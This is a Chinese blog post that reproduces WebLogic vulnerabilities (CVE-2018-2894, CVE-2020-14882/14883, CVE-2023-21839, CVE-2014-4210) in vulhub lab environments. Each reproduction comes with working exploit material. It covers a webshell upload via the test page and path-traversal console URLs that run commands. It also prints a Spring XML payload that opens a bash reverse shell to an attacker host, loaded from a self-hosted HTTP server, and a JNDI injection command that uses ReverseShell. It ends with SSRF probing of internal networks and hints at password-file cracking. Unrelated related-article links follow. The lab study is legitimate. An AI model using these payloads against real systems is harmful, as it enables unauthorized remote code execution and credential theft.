前言

前面两篇针对WebLogic存在的XMLDecoder和T3协议反序列化漏洞进行了分析和复现,这里继续借助vulhub来复现WebLogic的其他漏洞。

任意文件上传漏洞(CVE-2018-2894)

漏洞编号为CVE-2018-2894,WebLogic管理端未授权的页面存在任意上传文件漏洞,可直接getshell获取权限。

影响版本:weblogic:10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3

复现环境:

cd ./vulhub/weblogic/CVE-2018-2894
docker compose up -d

首先执行docker compose logs | grep password查看管理员weblogic的密码,登录后台页面。

依次点击:base_domain -> 高级 -> 启用Web服务测试页 -> 保存

访问/ws_utc/config.do设置 Work Home Dir 为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后尝试上传一个哥斯拉的jsp木马:

使用Burp拦截上传提交请求:

可以看到上传文件的路径/ws_utc/css/config/keystore/和一个时间戳timestamp,然后这个时间戳会和上传的文件的文件名合成一个新的文件名[时间戳]_[文件名],比如1717844040229_ggggg.jsp。

尝试使用哥斯拉连接webshell:

http://192.168.88.150:7001/ws_utc/css/config/keystore/1717844040229_ggggg.jsp

哥斯拉连接成功。

管理控制台未授权RCE漏洞(CVE-2020-14882 & CVE-2020-14883)

这个漏洞是由CVE-2020-14883权限绕过漏洞和代码执行漏洞CVE-2020-14882组合起来造成的。可以实现未授权的用户绕过管理控制台的权限验证访问后台,通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本:weblogic 10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0

复现环境:

cd ./vulhub/weblogic/CVE-2020-14882
docker compose up -d

首先CVE-2020-14883允许未授权访问后台:

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

然后利用CVE-2020-14882远程执行代码:

方式一:

利用com.tangosol.coherence.mvel2.sh.ShellSession直接执行命令。但是这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在这个类。

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping a98lh6.dnslog.cn%27);%22)

方式二:

利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext加载并执行远程的xml文件,这也是一种更加普遍的方式。

首先需要构造一个xml文件,用来反弹shell:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.88.150/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

在服务器起一个 python http.server 使靶机可以访问到该xml文件:

python -m http.server 8000

尝试通过FileSystemXmlApplicationContext执行远端xml文件:

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.88.150:8000/exp.xml")

监听1234端口拿到反弹shell:

该方法的好处在于weblogic版本限制小,在12.2.1.3以及10.3.6版本都可以执行。

未授权RCE漏洞(CVE-2023-21839)

漏洞编号为CVE-2023-21839,允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致RCE漏洞。

影响版本:weblogic:12.2.1.3.0,12.2.1.4.0,14.1.1.0.0

复现环境:

cd ./vulhub/weblogic/CVE-2023-21839
docker compose up -d

JNDI注入的利用:

首先需要使用 JNDIExploit-1.2-SNAPSHOT.jar 启动一个LADP服务默认监听在1389端口,8080端口实现恶意类的加载。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.88.128

-i 指定LDAP服务的IP地址(本机)

然后使用 Weblogic-CVE-2023-21839.jar 工具,这里利用LDAP服务的/Basic/ReverseShell/达到反弹shell的目的。

执行exp向靶机进行JNDI注入:

java -jar Weblogic-CVE-2023-21839.jar weblogic-ip:7001 ldap://ldapserver-ip:1389/Basic/ReverseShell/nc-ip/nc-port

靶机被攻击后,会向LDAP服务端进行LDAP查询请求,然后LDAP服务端将请求重定向到8080端口的http服务,靶机再去请求LDAP服务端的8080端口加载反弹shell的恶意类。

当恶意类被执行后,监听本地1234端口拿到shell:

此漏洞出在T3和IIOP协议上,所以禁用T3和IIOP协议真的很有必要!

SSRF漏洞(CVE-2014-4210)

漏洞编号为CVE-2014-4210,服务端请求伪造SSRF漏洞出现uddiexplorer.war下的 SearchPublicRegistries.jsp

影响版本:weblogic 10.0.2,10.3.6

漏洞环境:

cd ./vulhub/weblogic/ssrf
docker compose up -d

SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp页面:

使用Burp拦截,可以看到operator参数是一个UR地址,试着访问一下本地http://127.0.0.1:7001

随便修改为一个不存在的端口:

回显了不同的内容,所以可以通过回显错误的不同,探测内网状态。

靶场还提供了一个注入HTTP头,利用Redis反弹shell的环境。通过注入CRLF(%0a%0d)利用redis通过换行符来分隔每条命令的特点,来攻击内网中的redis服务器。

但比较可惜的是,我复现的这个环境采用的是POST传数据,没有CRLF注入HTTP头部的这个利用点。


vulhub还提供了一个后台存在一个弱口令,并且前台存在任意文件读取漏洞。

主要就是获取账户的明文密码,爆破弱口令就全靠字典的强弱了(和亿点运气)。或者是读取后台用户密文与密钥文件SerializedSystemIni.dat进行破解明文密码。如果可以读敏感文件比如passwd和shadow文件,可以进行hash破解获取明文密码(这个不是后台密码)。

参考文章:

https://vulhub.org/#/environments/

若有错误,欢迎指正!o( ̄▽ ̄)ブ

Vulhub WebLogic漏洞复现的更多相关文章

  1. Weblogic-SSRF漏洞复现

    Weblogic-SSRF漏洞复现 一.SSRF概念 服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞.一般情况下,SSR ...

  2. SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)

    0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主 ...

  3. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  4. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  5. Weblogic CVE-2018-3191远程代码命令执行漏洞复现

      0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...

  6. Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现

    Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞复现 一.漏洞概述  WebLogic的 WLS Security组件对外提供webservic ...

  7. WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现

    WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现 一.漏洞描述 Weblogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.Oracle 7月 ...

  8. Weblogic CVE-2020-2551漏洞复现

    Weblogic CVE-2020-2551漏洞复现 0x00 前言 在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太 ...

  9. Weblogic CVE-2018-2894 漏洞复现

    0x01 前言 Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中针对可造成远程代码执行的高危漏洞 CVE-2018-2894 进行修复:http:/ ...

  10. 漏洞复现环境集锦-Vulhub

    0x01 Vulhub简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像. 0x02 安装 # 安装pip curl -s ht ...

随机推荐

  1. HttpWebResponse 四种accept-encoding解析(gzip, deflate, br,identity【转】

    var hwrs = (HttpWebResponse)hwr.GetResponse() if (hwrs.ContentEncoding.ToLower().Contains("gzip ...

  2. C++17: 用折叠表达式实现一个IsAllTrue函数

    前言 让我们实现一个 IsAllTrue 函数,支持变长参数,可传入多个表达式,必须全部计算为true,该函数才返回true. 本文记录了逐步实现与优化该函数的思维链,用到了以下现代C++新特性知识, ...

  3. SpringCloud入门(二)服务间调用和案例

    一.微服务拆分注意事项微服务拆分注意事项:1.单一职责:不同微服务,不要重复开发相同业务2.数据独立:不要访问其它微服务的数据库3.面向服务:将自己的业务暴露为接口,供其它微服务调用 1.微服务需要根 ...

  4. docker基础镜像java版本选择和推荐

    背景 在编写dockerfile时,基础镜像要么太大,要么缺少jdk:dockerhub中的openjdk五花八门,不知道选择哪个 解决方案 我在项目中通常选择 openjdk作为基础镜像 FROM ...

  5. Codeforces Round 973 (Div. 2) C

    #include <bits/stdc++.h> using namespace std; int T; int n; struct edge { int pre; int nxt; in ...

  6. 《Vue.js 设计与实现》读书笔记 - 第10章、双端 Diff 算法

    第10章.双端 Diff 算法 10.1 双端比较的原理 上一章的移动算法并不是最优的,比如我们把 ABC 移动为 CAB,如下 A C B --> A C B 按照上一章的算法,我们遍历新的数 ...

  7. 高通ADSP USB流程

    在高通平台上,ADSP(Audio Digital Signal Processor,音频数字信号处理器)可以通过 USB 接口与主机进行数据传输,以下是大致的 ADSP USB 流程: 主机发起 U ...

  8. eBPF 概述:第 1 部分:介绍

    1. 前言 有兴趣了解更多关于 eBPF 技术的底层细节?那么请继续移步,我们将深入研究 eBPF 的底层细节,从其虚拟机机制和工具,到在远程资源受限的嵌入式设备上运行跟踪. 注意:本系列博客文章将集 ...

  9. signalR的身份认证

  10. 71.登录失效,token过期怎么处理

    1. 清除用户数据,直接跳转登录页重新登录 : 2. 短token 过期,使用 长 token 重新获取短 token ,然后重新请求 : 如果长 token 也过期了,就去重新登录获取 token ...